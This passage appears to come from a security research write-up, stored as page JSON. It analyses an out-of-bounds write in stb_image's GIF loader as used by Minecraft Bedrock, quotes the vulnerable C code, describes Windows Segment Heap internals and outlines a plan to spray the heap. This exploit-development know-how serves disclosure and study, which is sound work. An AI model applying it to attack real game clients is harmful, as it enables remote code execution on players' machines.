(i",{"type":23,"tag":504,"props":147610,"children":147611},{"style":598},[147612],{"type":28,"value":601},{"type":23,"tag":504,"props":147614,"children":147615},{"style":1440},[147616],{"type":28,"value":3001},{"type":23,"tag":504,"props":147618,"children":147619},{"style":523},[147620],{"type":28,"value":50212},{"type":23,"tag":504,"props":147622,"children":147623},{"style":598},[147624],{"type":28,"value":4789},{"type":23,"tag":504,"props":147626,"children":147627},{"style":523},[147628],{"type":28,"value":147629}," num_entries; ",{"type":23,"tag":504,"props":147631,"children":147632},{"style":598},[147633],{"type":28,"value":50248},{"type":23,"tag":504,"props":147635,"children":147636},{"style":523},[147637],{"type":28,"value":147638},"i) {\n",{"type":23,"tag":504,"props":147640,"children":147641},{"class":506,"line":851},[147642,147647,147651,147655,147659,147663,147668],{"type":23,"tag":504,"props":147643,"children":147644},{"style":529},[147645],{"type":28,"value":147646},"      pal",{"type":23,"tag":504,"props":147648,"children":147649},{"style":523},[147650],{"type":28,"value":59633},{"type":23,"tag":504,"props":147652,"children":147653},{"style":1440},[147654],{"type":28,"value":2100},{"type":23,"tag":504,"props":147656,"children":147657},{"style":523},[147658],{"type":28,"value":595},{"type":23,"tag":504,"props":147660,"children":147661},{"style":598},[147662],{"type":28,"value":601},{"type":23,"tag":504,"props":147664,"children":147665},{"style":517},[147666],{"type":28,"value":147667}," stbi__get8",{"type":23,"tag":504,"props":147669,"children":147670},{"style":523},[147671],{"type":28,"value":147672},"(s);\n",{"type":23,"tag":504,"props":147674,"children":147675},{"class":506,"line":869},[147676,147680,147684,147688,147692,147696,147700],{"type":23,"tag":504,"props":147677,"children":147678},{"style":529},[147679],{"type":28,"value":147646},{"type":23,"tag":504,"props":147681,"children":147682},{"style":523},[147683],{"type":28,"value":59633},{"type":23,"tag":504,"props":147685,"children":147686},{"style":1440},[147687],{"type":28,"value":2991},{"type":23,"tag":504,"props":147689,"children":147690},{"style":523},[147691],{"type":28,"value":595},{"type":23,"tag":504,"props":147693,"children":147694},{"style":598},[147695],{"type":28,"value":601},{"type":23,"tag":504,"props":147697,"children":147698},{"style":517},[147699],{"type":28,"value":147667},{"type":23,"tag":504,"props":147701,"children":147702},{"style":523},[147703],{"type":28,"value":147672},{"type":23,"tag":504,"props":147705,"children":147706},{"class":506,"line":878},[147707,147711,147715,147719,147723,147727,147731],{"type":23,"tag":504,"props":147708,"children":147709},{"style":529},[147710],{"type":28,"value":147646},{"type":23,"tag":504,"props":147712,"children":147713},{"style":523},[147714],{"type":28,"value":59633},{"type":23,"tag":504,"props":147716,"children":147717},{"style":1440},[147718],{"type":28,"value":3001},{"type":23,"tag":504,"props":147720,"children":147721},{"style":523},[147722],{"type":28,"value":595},{"type":23,"tag":504,"props":147724,"children":147725},{"style":598},[147726],{"type":28,"value":601},{"type":23,"tag":504,"props":147728,"children":147729},{"style":517},[147730],{"type":28,"value":147667},{"type":23,"tag":504,"props":147732,"children":147733},{"style":523},[147734],{"type":28,"value":147672},{"type":23,"tag":504,"props":147736,"children":147737},{"class":506,"line":1221},[147738,147742,147746,147750,147754,147758,147763,147767,147771,147775,147779,147783,147788],{"type":23,"tag":504,"props":147739,"children":147740},{"style":529},[147741],{"type":28,"value":147646},{"type":23,"tag":504,"props":147743,"children":147744},{"style":523},[147745],{"type":28,"value":59633},{"type":23,"tag":504,"props":147747,"children":147748},{"style":1440},[147749],{"type":28,"value":16275},{"type":23,"tag":504,"props":147751,"children":147752},{"style":523},[147753],{"type":28,"value":595},{"type":23,"tag":504,"props":147755,"children":147756},{"style":598},[147757],{"type":28,"value":601},{"type":23,"tag":504,"props":147759,"children":147760},{"style":523},[147761],{"type":28,"value":147762}," transp ",{"type":23,"tag":504,"props":147764,"children":147765},{"style":598},[147766],{"type":28,"value":7559},{"type":23,"tag":504,"props":147768,"children":147769},{"style":523},[147770],{"type":28,"value":53522},{"type":23,"tag":504,"props":147772,"children":147773},{"style":598},[147774],{"type":28,"value":2133},{"type":23,"tag":504,"props":147776,"children":147777},{"style":1440},[147778],{"type":28,"value":2023},{"type":23,"tag":504,"props":147780,"children":147781},{"style":598},[147782],{"type":28,"value":34092},{"type":23,"tag":504,"props":147784,"children":147785},{"style":1440},[147786],{"type":28,"value":147787}," 255",{"type":23,"tag":504,"props":147789,"children":147790},{"style":523},[147791],{"type":28,"value":866},{"type":23,"tag":504,"props":147793,"children":147794},{"class":506,"line":1276},[147795],{"type":23,"tag":504,"props":147796,"children":147797},{"style":523},[147798],{"type":28,"value":33724},{"type":23,"tag":504,"props":147800,"children":147801},{"class":506,"line":1285},[147802],{"type":23,"tag":504,"props":147803,"children":147804},{"style":523},[147805],{"type":28,"value":884},{"type":23,"tag":24,"props":147807,"children":147808},{},[147809,147811,147816,147817,147822,147824,147829],{"type":28,"value":147810},"The first three bytes are read from the input image, while the last byte can be either ",{"type":23,"tag":56,"props":147812,"children":147814},{"className":147813},[],[147815],{"type":28,"value":3001},{"type":28,"value":459},{"type":23,"tag":56,"props":147818,"children":147820},{"className":147819},[],[147821],{"type":28,"value":112094},{"type":28,"value":147823},". But as we've seen previously, the OOB write only happens if the last byte is more than ",{"type":23,"tag":56,"props":147825,"children":147827},{"className":147826},[],[147828],{"type":28,"value":28829},{"type":28,"value":3472},{"type":23,"tag":494,"props":147831,"children":147833},{"code":147832,"language":2124,"meta":7,"className":15493,"style":7},"   c = &g->color_table[g->codes[code].suffix * 4];\n   if (c[3] > 128) {\n      p[0] = c[2];\n      p[1] = c[1];\n      p[2] = c[0];\n      p[3] = c[3];\n   }\n",[147834],{"type":23,"tag":56,"props":147835,"children":147836},{"__ignoreMap":7},[147837,147900,147939,147978,148017,148056,148095],{"type":23,"tag":504,"props":147838,"children":147839},{"class":506,"line":507},[147840,147844,147848,147852,147856,147860,147864,147868,147872,147876,147880,147884,147888,147892,147896],{"type":23,"tag":504,"props":147841,"children":147842},{"style":523},[147843],{"type":28,"value":147154},{"type":23,"tag":504,"props":147845,"children":147846},{"style":598},[147847],{"type":28,"value":601},{"type":23,"tag":504,"props":147849,"children":147850},{"style":598},[147851],{"type":28,"value":6125},{"type":23,"tag":504,"props":147853,"children":147854},{"style":523},[147855],{"type":28,"value":108049},{"type":23,"tag":504,"props":147857,"children":147858},{"style":598},[147859],{"type":28,"value":12738},{"type":23,"tag":504,"props":147861,"children":147862},{"style":529},[147863],{"type":28,"value":147175},{"type":23,"tag":504,"props":147865,"children":147866},{"style":523},[147867],{"type":28,"value":2711},{"type":23,"tag":504,"props":147869,"children":147870},{"style":529},[147871],{"type":28,"value":108049},{"type":23,"tag":504,"props":147873,"children":147874},{"style":523},[147875],{"type":28,"value":12738},{"type":23,"tag":504,"props":147877,"children":147878},{"style":529},[147879],{"type":28,"value":147192},{"type":23,"tag":504,"props":147881,"children":147882},{"style":523},[147883],{"type":28,"value":147197},{"type":23,"tag":504,"props":147885,"children":147886},{"style":529},[147887],{"type":28,"value":147202},{"type":23,"tag":504,"props":147889,"children":147890},{"style":598},[147891],{"type":28,"value":8797},{"type":23,"tag":504,"props":147893,"children":147894},{"style":1440},[147895],{"type":28,"value":10727},{"type":23,"tag":504,"props":147897,"children":147898},{"style":523},[147899],{"type":28,"value":30552},{"type":23,"tag":504,"props":147901,"children":147902},{"class":506,"line":540},[147903,147907,147911,147915,147919,147923,147927,147931,147935],{"type":23,"tag":504,"props":147904,"children":147905},{"style":544},[147906],{"type":28,"value":51622},{"type":23,"tag":504,"props":147908,"children":147909},{"style":523},[147910],{"type":28,"value":801},{"type":23,"tag":504,"props":147912,"children":147913},{"style":529},[147914],{"type":28,"value":2124},{"type":23,"tag":504,"props":147916,"children":147917},{"style":523},[147918],{"type":28,"value":2711},{"type":23,"tag":504,"props":147920,"children":147921},{"style":1440},[147922],{"type":28,"value":16275},{"type":23,"tag":504,"props":147924,"children":147925},{"style":523},[147926],{"type":28,"value":595},{"type":23,"tag":504,"props":147928,"children":147929},{"style":598},[147930],{"type":28,"value":9443},{"type":23,"tag":504,"props":147932,"children":147933},{"style":1440},[147934],{"type":28,"value":147250},{"type":23,"tag":504,"props":147936,"children":147937},{"style":523},[147938],{"type":28,"value":537},{"type":23,"tag":504,"props":147940,"children":147941},{"class":506,"line":555},[147942,147946,147950,147954,147958,147962,147966,147970,147974],{"type":23,"tag":504,"props":147943,"children":147944},{"style":529},[147945],{"type":28,"value":147262},{"type":23,"tag":504,"props":147947,"children":147948},{"style":523},[147949],{"type":28,"value":2711},{"type":23,"tag":504,"props":147951,"children":147952},{"style":1440},[147953],{"type":28,"value":3001},{"type":23,"tag":504,"props":147955,"children":147956},{"style":523},[147957],{"type":28,"value":595},{"type":23,"tag":504,"props":147959,"children":147960},{"style":598},[147961],{"type":28,"value":601},{"type":23,"tag":504,"props":147963,"children":147964},{"style":529},[147965],{"type":28,"value":36422},{"type":23,"tag":504,"props":147967,"children":147968},{"style":523},[147969],{"type":28,"value":2711},{"type":23,"tag":504,"props":147971,"children":147972},{"style":1440},[147973],{"type":28,"value":2100},{"type":23,"tag":504,"props":147975,"children":147976},{"style":523},[147977],{"type":28,"value":30552},{"type":23,"tag":504,"props":147979,"children":147980},{"class":506,"line":633},[147981,147985,147989,147993,147997,148001,148005,148009,148013],{"type":23,"tag":504,"props":147982,"children":147983},{"style":529},[147984],{"type":28,"value":147262},{"type":23,"tag":504,"props":147986,"children":147987},{"style":523},[147988],{"type":28,"value":2711},{"type":23,"tag":504,"props":147990,"children":147991},{"style":1440},[147992],{"type":28,"value":2991},{"type":23,"tag":504,"props":147994,"children":147995},{"style":523},[147996],{"type":28,"value":595},{"type":23,"tag":504,"props":147998,"children":147999},{"style":598},[148000],{"type":28,"value":601},{"type":23,"tag":504,"props":148002,"children":148003},{"style":529},[148004],{"type":28,"value":36422},{"type":23,"tag":504,"props":148006,"children":148007},{"style":523},[148008],{"type":28,"value":2711},{"type":23,"tag":504,"props":148010,"children":148011},{"style":1440},[148012],{"type":28,"value":2991},{"type":23,"tag":504,"props":148014,"children":148015},{"style":523},[148016],{"type":28,"value":30552},{"type":23,"tag":504,"props":148018,"children":148019},{"class":506,"line":687},[148020,148024,148028,148032,148036,148040,148044,148048,148052],{"type":23,"tag":504,"props":148021,"children":148022},{"style":529},[148023],{"type":28,"value":147262},{"type":23,"tag":504,"props":148025,"children":148026},{"style":523},[148027],{"type":28,"value":2711},{"type":23,"tag":504,"props":148029,"children":148030},{"style":1440},[148031],{"type":28,"value":2100},{"type":23,"tag":504,"props":148033,"children":148034},{"style":523},[148035],{"type":28,"value":595},{"type":23,"tag":504,"props":148037,"children":148038},{"style":598},[148039],{"type":28,"value":601},{"type":23,"tag":504,"props":148041,"children":148042},{"style":529},[148043],{"type":28,"value":36422},{"type":23,"tag":504,"props":148045,"children":148046},{"style":523},[148047],{"type":28,"value":2711},{"type":23,"tag":504,"props":148049,"children":148050},{"style":1440},[148051],{"type":28,"value":3001},{"type":23,"tag":504,"props":148053,"children":148054},{"style":523},[148055],{"type":28,"value":30552},{"type":23,"tag":504,"props":148057,"children":148058},{"class":506,"line":736},[148059,148063,148067,148071,148075,148079,148083,148087,148091],{"type":23,"tag":504,"props":148060,"children":148061},{"style":529},[148062],{"type":28,"value":147262},{"type":23,"tag":504,"props":148064,"children":148065},{"style":523},[148066],{"type":28,"value":2711},{"type":23,"tag":504,"props":148068,"children":148069},{"style":1440},[148070],{"type":28,"value":16275},{"type":23,"tag":504,"props":148072,"children":148073},{"style":523},[148074],{"type":28,"value":595},{"type":23,"tag":504,"props":148076,"children":148077},{"style":598},[148078],{"type":28,"value":601},{"type":23,"tag":504,"props":148080,"children":148081},{"style":529},[148082],{"type":28,"value":36422},{"type":23,"tag":504,"props":148084,"children":148085},{"style":523},[148086],{"type":28,"value":2711},{"type":23,"tag":504,"props":148088,"children":148089},{"style":1440},[148090],{"type":28,"value":16275},{"type":23,"tag":504,"props":148092,"children":148093},{"style":523},[148094],{"type":28,"value":30552},{"type":23,"tag":504,"props":148096,"children":148097},{"class":506,"line":785},[148098],{"type":23,"tag":504,"props":148099,"children":148100},{"style":523},[148101],{"type":28,"value":33724},{"type":23,"tag":24,"props":148103,"children":148104},{},[148105,148106,148111,148113,148118,148120,148125],{"type":28,"value":22994},{"type":23,"tag":56,"props":148107,"children":148109},{"className":148108},[],[148110],{"type":28,"value":147462},{"type":28,"value":148112}," has to set the last byte to ",{"type":23,"tag":56,"props":148114,"children":148116},{"className":148115},[],[148117],{"type":28,"value":112094},{"type":28,"value":148119}," in order for the four-byte OOB write to happen, meaning we can control the first three bytes of the overflow while the last byte will always be ",{"type":23,"tag":56,"props":148121,"children":148123},{"className":148122},[],[148124],{"type":28,"value":112094},{"type":28,"value":320},{"type":23,"tag":24,"props":148127,"children":148128},{},[148129,148131,148136,148138,148144,148145,148151],{"type":28,"value":148130},"In the code we can see that size of the ",{"type":23,"tag":56,"props":148132,"children":148134},{"className":148133},[],[148135],{"type":28,"value":146919},{"type":28,"value":148137}," allocation is controlled through ",{"type":23,"tag":56,"props":148139,"children":148141},{"className":148140},[],[148142],{"type":28,"value":148143},"g->w",{"type":28,"value":430},{"type":23,"tag":56,"props":148146,"children":148148},{"className":148147},[],[148149],{"type":28,"value":148150},"g->h",{"type":28,"value":148152}," values, both of which are read from the input file itself:",{"type":23,"tag":494,"props":148154,"children":148156},{"code":148155,"language":2124,"meta":7,"className":15493,"style":7},"static stbi_uc *stbi__gif_load_next(...)\n{\n   [...]\n   if (g->out == 0) {\n      if (!stbi__gif_header(s, g, comp,0))     return 0;\n      g->out = (stbi_uc *) stbi__malloc(4 * g->w * g->h);\n",[148157],{"type":23,"tag":56,"props":148158,"children":148159},{"__ignoreMap":7},[148160,148185,148192,148199,148234,148280],{"type":23,"tag":504,"props":148161,"children":148162},{"class":506,"line":507},[148163,148167,148172,148176,148180],{"type":23,"tag":504,"props":148164,"children":148165},{"style":511},[148166],{"type":28,"value":50023},{"type":23,"tag":504,"props":148168,"children":148169},{"style":523},[148170],{"type":28,"value":148171}," stbi_uc ",{"type":23,"tag":504,"props":148173,"children":148174},{"style":598},[148175],{"type":28,"value":3552},{"type":23,"tag":504,"props":148177,"children":148178},{"style":517},[148179],{"type":28,"value":146098},{"type":23,"tag":504,"props":148181,"children":148182},{"style":523},[148183],{"type":28,"value":148184},"(...)\n",{"type":23,"tag":504,"props":148186,"children":148187},{"class":506,"line":540},[148188],{"type":23,"tag":504,"props":148189,"children":148190},{"style":523},[148191],{"type":28,"value":9862},{"type":23,"tag":504,"props":148193,"children":148194},{"class":506,"line":555},[148195],{"type":23,"tag":504,"props":148196,"children":148197},{"style":523},[148198],{"type":28,"value":146660},{"type":23,"tag":504,"props":148200,"children":148201},{"class":506,"line":633},[148202,148206,148210,148214,148218,148222,148226,148230],{"type":23,"tag":504,"props":148203,"children":148204},{"style":544},[148205],{"type":28,"value":51622},{"type":23,"tag":504,"props":148207,"children":148208},{"style":523},[148209],{"type":28,"value":801},{"type":23,"tag":504,"props":148211,"children":148212},{"style":529},[148213],{"type":28,"value":108049},{"type":23,"tag":504,"props":148215,"children":148216},{"style":523},[148217],{"type":28,"value":12738},{"type":23,"tag":504,"props":148219,"children":148220},{"style":529},[148221],{"type":28,"value":117472},{"type":23,"tag":504,"props":148223,"children":148224},{"style":598},[148225],{"type":28,"value":2260},{"type":23,"tag":504,"props":148227,"children":148228},{"style":1440},[148229],{"type":28,"value":2023},{"type":23,"tag":504,"props":148231,"children":148232},{"style":523},[148233],{"type":28,"value":537},{"type":23,"tag":504,"props":148235,"children":148236},{"class":506,"line":687},[148237,148241,148245,148249,148254,148259,148263,148268,148272,148276],{"type":23,"tag":504,"props":148238,"children":148239},{"style":544},[148240],{"type":28,"value":38262},{"type":23,"tag":504,"props":148242,"children":148243},{"style":523},[148244],{"type":28,"value":801},{"type":23,"tag":504,"props":148246,"children":148247},{"style":598},[148248],{"type":28,"value":19603},{"type":23,"tag":504,"props":148250,"children":148251},{"style":517},[148252],{"type":28,"value":148253},"stbi__gif_header",{"type":23,"tag":504,"props":148255,"children":148256},{"style":523},[148257],{"type":28,"value":148258},"(s, g, comp,",{"type":23,"tag":504,"props":148260,"children":148261},{"style":1440},[148262],{"type":28,"value":3001},{"type":23,"tag":504,"props":148264,"children":148265},{"style":523},[148266],{"type":28,"value":148267},"))     ",{"type":23,"tag":504,"props":148269,"children":148270},{"style":544},[148271],{"type":28,"value":47436},{"type":23,"tag":504,"props":148273,"children":148274},{"style":1440},[148275],{"type":28,"value":2023},{"type":23,"tag":504,"props":148277,"children":148278},{"style":523},[148279],{"type":28,"value":866},{"type":23,"tag":504,"props":148281,"children":148282},{"class":506,"line":736},[148283,148288,148292,148296,148300,148305,148309,148313,148318,148322,148326,148330,148334,148338,148342,148346,148350,148354,148358],{"type":23,"tag":504,"props":148284,"children":148285},{"style":529},[148286],{"type":28,"value":148287},"      g",{"type":23,"tag":504,"props":148289,"children":148290},{"style":523},[148291],{"type":28,"value":12738},{"type":23,"tag":504,"props":148293,"children":148294},{"style":529},[148295],{"type":28,"value":117472},{"type":23,"tag":504,"props":148297,"children":148298},{"style":598},[148299],{"type":28,"value":648},{"type":23,"tag":504,"props":148301,"children":148302},{"style":523},[148303],{"type":28,"value":148304}," (stbi_uc ",{"type":23,"tag":504,"props":148306,"children":148307},{"style":598},[148308],{"type":28,"value":3552},{"type":23,"tag":504,"props":148310,"children":148311},{"style":523},[148312],{"type":28,"value":2064},{"type":23,"tag":504,"props":148314,"children":148315},{"style":517},[148316],{"type":28,"value":148317},"stbi__malloc",{"type":23,"tag":504,"props":148319,"children":148320},{"style":523},[148321],{"type":28,"value":526},{"type":23,"tag":504,"props":148323,"children":148324},{"style":1440},[148325],{"type":28,"value":16508},{"type":23,"tag":504,"props":148327,"children":148328},{"style":598},[148329],{"type":28,"value":8797},{"type":23,"tag":504,"props":148331,"children":148332},{"style":529},[148333],{"type":28,"value":146700},{"type":23,"tag":504,"props":148335,"children":148336},{"style":523},[148337],{"type":28,"value":12738},{"type":23,"tag":504,"props":148339,"children":148340},{"style":529},[148341],{"type":28,"value":48551},{"type":23,"tag":504,"props":148343,"children":148344},{"style":598},[148345],{"type":28,"value":8797},{"type":23,"tag":504,"props":148347,"children":148348},{"style":529},[148349],{"type":28,"value":146700},{"type":23,"tag":504,"props":148351,"children":148352},{"style":523},[148353],{"type":28,"value":12738},{"type":23,"tag":504,"props":148355,"children":148356},{"style":529},[148357],{"type":28,"value":83096},{"type":23,"tag":504,"props":148359,"children":148360},{"style":523},[148361],{"type":28,"value":630},{"type":23,"tag":24,"props":148363,"children":148364},{},[148365,148367,148372,148374,148379],{"type":28,"value":148366},"And lastly, to figure out where the OOB bytes are written relative to the allocated buffer, we printed out the address range of ",{"type":23,"tag":56,"props":148368,"children":148370},{"className":148369},[],[148371],{"type":28,"value":146919},{"type":28,"value":148373}," and the value of ",{"type":23,"tag":56,"props":148375,"children":148377},{"className":148376},[],[148378],{"type":28,"value":24},{"type":28,"value":148380}," just before the OOB write happens:",{"type":23,"tag":494,"props":148382,"children":148384},{"code":148383},"g->out address range: [0x75d00d114800, 0x75d00d135800)\n[...]\np: 0x75d00d135800\n",[148385],{"type":23,"tag":56,"props":148386,"children":148387},{"__ignoreMap":7},[148388],{"type":28,"value":148383},{"type":23,"tag":24,"props":148390,"children":148391},{},[148392,148394,148399,148401,148406],{"type":28,"value":148393},"There are multiple within-bound writes to ",{"type":23,"tag":56,"props":148395,"children":148397},{"className":148396},[],[148398],{"type":28,"value":24},{"type":28,"value":148400},", but the last write happens just after the ",{"type":23,"tag":56,"props":148402,"children":148404},{"className":148403},[],[148405],{"type":28,"value":146919},{"type":28,"value":148407}," allocation.",{"type":23,"tag":82,"props":148409,"children":148411},{"id":148410},"summarizing-the-corruption",[148412],{"type":28,"value":148413},"Summarizing the Corruption",{"type":23,"tag":350,"props":148415,"children":148416},{},[148417,148430,148458],{"type":23,"tag":45,"props":148418,"children":148419},{},[148420,148422,148428],{"type":28,"value":148421},"A single ",{"type":23,"tag":56,"props":148423,"children":148425},{"className":148424},[],[148426],{"type":28,"value":148427},"0x01",{"type":28,"value":148429}," byte write OOB",{"type":23,"tag":45,"props":148431,"children":148432},{},[148433,148435],{"type":28,"value":148434},"4-byte OOB write just above the allocated buffer\n",{"type":23,"tag":350,"props":148436,"children":148437},{},[148438,148443,148453],{"type":23,"tag":45,"props":148439,"children":148440},{},[148441],{"type":28,"value":148442},"First three bytes are controllable",{"type":23,"tag":45,"props":148444,"children":148445},{},[148446,148448],{"type":28,"value":148447},"Last byte will be ",{"type":23,"tag":56,"props":148449,"children":148451},{"className":148450},[],[148452],{"type":28,"value":112094},{"type":23,"tag":45,"props":148454,"children":148455},{},[148456],{"type":28,"value":148457},"Size of the allocation is controlled",{"type":23,"tag":45,"props":148459,"children":148460},{},[148461,148463],{"type":28,"value":148462},"Both corruptions are done on a short-lived allocation\n",{"type":23,"tag":350,"props":148464,"children":148465},{},[148466,148471],{"type":23,"tag":45,"props":148467,"children":148468},{},[148469],{"type":28,"value":148470},"Allocated just before the image-parsing process",{"type":23,"tag":45,"props":148472,"children":148473},{},[148474],{"type":28,"value":148475},"Freed immediately upon parsing completion",{"type":23,"tag":17774,"props":148477,"children":148478},{},[],{"type":23,"tag":24,"props":148480,"children":148481},{},[148482,148484,148491,148493,148500],{"type":28,"value":148483},"Note that this bug was already found before (",{"type":23,"tag":92,"props":148485,"children":148488},{"href":148486,"rel":148487},"https://github.com/nothings/stb/issues/656",[96],[148489],{"type":28,"value":148490},"Github Issue",{"type":28,"value":148492},") but we missed it at the time. It was later fixed in ",{"type":23,"tag":92,"props":148494,"children":148497},{"href":148495,"rel":148496},"https://github.com/nothings/stb/commit/50b1bfba583b12ceb23ef949567bdd914461e524",[96],[148498],{"type":28,"value":148499},"this commit",{"type":28,"value":320},{"type":23,"tag":70,"props":148502,"children":148503},{"id":4401},[148504],{"type":28,"value":4404},{"type":23,"tag":24,"props":148506,"children":148507},{},[148508],{"type":28,"value":148509},"The memory corruption we had wasn't the easiest to exploit, especially on a remote target with ASLR, but it was the only one we had. We could've looked for another bug for information leaks but that wasn't interesting enough - we wanted to see if we can get RCE from the 4-byte memory corruption alone.",{"type":23,"tag":24,"props":148511,"children":148512},{},[148513],{"type":28,"value":148514},"Obviously four bytes alone aren't enough to get remote code execution in this case, so we looked for ways to turn the overflow into stronger primitives.",{"type":23,"tag":82,"props":148516,"children":148518},{"id":148517},"searching-for-better-primitives",[148519],{"type":28,"value":148520},"Searching for Better Primitives",{"type":23,"tag":24,"props":148522,"children":148523},{},[148524],{"type":28,"value":148525},"The initial idea was to use the 4‑byte OOB to overflow into adjacent heap chunk headers and attack the allocator, but we weren't familiar with Windows allocator internals at the time, so we started investigating.",{"type":23,"tag":24,"props":148527,"children":148528},{},[148529,148531,148538],{"type":28,"value":148530},"We realized that Minecraft uses the Segment Heap - Microsoft's newer heap implementation that is used by the kernel and is the default for packaged / ",{"type":23,"tag":92,"props":148532,"children":148535},{"href":148533,"rel":148534},"https://learn.microsoft.com/en-us/windows/uwp/get-started/universal-application-platform-guide",[96],[148536],{"type":28,"value":148537},"UWP",{"type":28,"value":148539}," applications (such as Minecraft Bedrock Edition).",{"type":23,"tag":82,"props":148541,"children":148543},{"id":148542},"segment-heap",[148544],{"type":28,"value":148545},"Segment Heap",{"type":23,"tag":24,"props":148547,"children":148548},{},[148549,148551,148558],{"type":28,"value":148550},"The internals of this heap implementation have been explored a number of times before (for an example in ",{"type":23,"tag":92,"props":148552,"children":148555},{"href":148553,"rel":148554},"https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Windows-Heap-Backed-Pool-The-Good-The-Bad-And-The-Encoded.pdf",[96],[148556],{"type":28,"value":148557},"this talk",{"type":28,"value":148559}," by Yarden Shafir), so we'll just summarize the two subsegment types relevant to this writeup.",{"type":23,"tag":17874,"props":148561,"children":148563},{"id":148562},"low-fragmentation-heap",[148564],{"type":28,"value":148565},"Low Fragmentation Heap",{"type":23,"tag":24,"props":148567,"children":148568},{},[148569,148571,148577],{"type":28,"value":148570},"Low Fragmentation Heap (LFH) services allocations of ",{"type":23,"tag":56,"props":148572,"children":148574},{"className":148573},[],[148575],{"type":28,"value":148576},"0x3ff0",{"type":28,"value":148578}," bytes or less when LFH for that size is enabled. LFH for a given size becomes enabled after 17 consecutive allocations of that size.",{"type":23,"tag":24,"props":148580,"children":148581},{},[148582],{"type":28,"value":148583},"Most importantly for us, chunks allocated in this subsegment do not have per‑chunk headers, and data from two adjacent chunks in LFH is not separated by allocator metadata.",{"type":23,"tag":494,"props":148585,"children":148587},{"code":148586},"              +-------------------------+\nChunk A ----->| 41 41 41 41 41 41 41 41 |\n              |                         |\n              | 41 41 41 41 41 41 41 41 |\n              |                         |\n              | 41 41 41 41 41 41 41 41 |\n              |                         |\n              | 41 41 41 41 41 41 41 41 |\n              +-------------------------+\nChunk B ----->| 42 42 42 42 42 42 42 42 |\n              |                         |\n              | 42 42 42 42 42 42 42 42 |\n              |                         |\n              | 42 42 42 42 42 42 . . . |\n              |                         |\n",[148588],{"type":23,"tag":56,"props":148589,"children":148590},{"__ignoreMap":7},[148591],{"type":28,"value":148586},{"type":23,"tag":24,"props":148593,"children":148594},{},[148595],{"type":28,"value":148596},"This means that the 4‑byte OOB write could overwrite the first four bytes of the next chunk above, allowing us to target heap‑allocated internal structures in Minecraft instead of the allocator - the idea being that we could find a structure that has the first field either a reference count or a length field (for example) which we could directly corrupt with the overflow.",{"type":23,"tag":17874,"props":148598,"children":148600},{"id":148599},"variable-size",[148601],{"type":28,"value":148602},"Variable Size",{"type":23,"tag":24,"props":148604,"children":148605},{},[148606,148608,148614,148616,148622],{"type":28,"value":148607},"This subsegment is used for allocation sizes from ",{"type":23,"tag":56,"props":148609,"children":148611},{"className":148610},[],[148612],{"type":28,"value":148613},"0x4000",{"type":28,"value":148615}," and up to ",{"type":23,"tag":56,"props":148617,"children":148619},{"className":148618},[],[148620],{"type":28,"value":148621},"0x20_000",{"type":28,"value":148623},". Unlike LFH, the allocator will store chunk metadata in the headers of the allocated block.",{"type":23,"tag":494,"props":148625,"children":148627},{"code":148626},"                          +-------------------------+\n            Chunk A ----->|  HEAP_VS_CHUNK_HEADER   |\n                          +-------------------------+\nChunk A Data ------------>| 41 41 41 41 41 41 41 41 |\n                          |                         |\n                          | 41 41 41 41 41 41 41 41 |\n                          |                         |\n                          | 41 41 41 41 41 41 41 41 |\n                          +-------------------------+\n            Chunk B ----->|  HEAP_VS_CHUNK_HEADER   |\n                          +-------------------------+\nChunk B Data ------------>| 42 42 42 42 42 42 42 42 |\n                          |                         |\n                          | 42 42 42 42 42 42 42 42 |\n                          |                         |\n                          | 42 42 42 42 42 42 . . . |\n                          |                         |\n",[148628],{"type":23,"tag":56,"props":148629,"children":148630},{"__ignoreMap":7},[148631],{"type":28,"value":148626},{"type":23,"tag":24,"props":148633,"children":148634},{},[148635,148637,148643],{"type":28,"value":148636},"The header, ",{"type":23,"tag":56,"props":148638,"children":148640},{"className":148639},[],[148641],{"type":28,"value":148642},"HEAP_VS_CHUNK_HEADER",{"type":28,"value":148644},", contains information such as block size and allocation status. Crucially, this header is XORed with a secret heap key. That encoding means that, unless the heap key is leaked, faking a chunk header with an overflow is not deterministic.",{"type":23,"tag":17774,"props":148646,"children":148647},{},[],{"type":23,"tag":24,"props":148649,"children":148650},{},[148651],{"type":28,"value":148652},"At this point there were two paths to explore: use the 4‑byte overflow in LFH to target Minecraft structures, or use the overflow in VS to target the allocator.",{"type":23,"tag":24,"props":148654,"children":148655},{},[148656,148658,148665],{"type":28,"value":148657},"Targeting the allocator looked difficult because the VS chunk header is encoded. Fortunately, a ",{"type":23,"tag":92,"props":148659,"children":148662},{"href":148660,"rel":148661},"https://web.archive.org/web/20250117163016/https://labs.bluefrostsecurity.de/blog.html/2022/08/16/windows-segment-heap-attacking-the-vs-allocator/",[96],[148663],{"type":28,"value":148664},"technique published",{"type":28,"value":148666}," by Blue Frost Security describes how to abuse a 3–4 byte overflow in the VS heap to reliably produce overlapping chunks.",{"type":23,"tag":24,"props":148668,"children":148669},{},[148670],{"type":28,"value":148671},"To target Minecraft structures in LFH, we needed to find a heap‑allocated object whose first field could be forged with four bytes (or less) - candidates included a reference counter or a length field. Overwriting such a field could yield a useful primitive (e.g., a use‑after‑free from a corrupted refcount, or a larger overflow / OOB read by corrupting a length field).",{"type":23,"tag":24,"props":148673,"children":148674},{},[148675],{"type":28,"value":148676},"In either case, we needed a way to spray the heap before we could proceed.",{"type":23,"tag":82,"props":148678,"children":148680},{"id":148679},"finding-a-way-to-spray-the-heap",[148681],{"type":28,"value":148682},"Finding a Way to Spray the Heap",{"type":23,"tag":24,"props":148684,"children":148685},{},[148686],{"type":28,"value":148687},"We needed to find an object that the client allocates in response to a server-controlled action. Ideally, the server would be able to control:",{"type":23,"tag":350,"props":148689,"children":148690},{},[148691,148696,148701,148706],{"type":23,"tag":45,"props":148692,"children":148693},{},[148694],{"type":28,"value":148695},"The size of the allocation",{"type":23,"tag":45,"props":148697,"children":148698},{},[148699],{"type":28,"value":148700},"The data written into the allocated buffer",{"type":23,"tag":45,"props":148702,"children":148703},{},[148704],{"type":28,"value":148705},"The allocation’s lifetime (i.e., allocated and freed through different server actions)",{"type":23,"tag":45,"props":148707,"children":148708},{},[148709],{"type":28,"value":148710},"The number of created objects (preferably unbounded)",{"type":23,"tag":24,"props":148712,"children":148713},{},[148714],{"type":28,"value":148715},"Not all of these conditions are strictly required, but an object satisfying all of them would be perfect for heap spraying. Eventually, we found exactly what we were looking for.",{"type":23,"tag":17874,"props":148717,"children":148719},{"id":148718},"minecraft-signs",[148720],{"type":28,"value":148721},"Minecraft 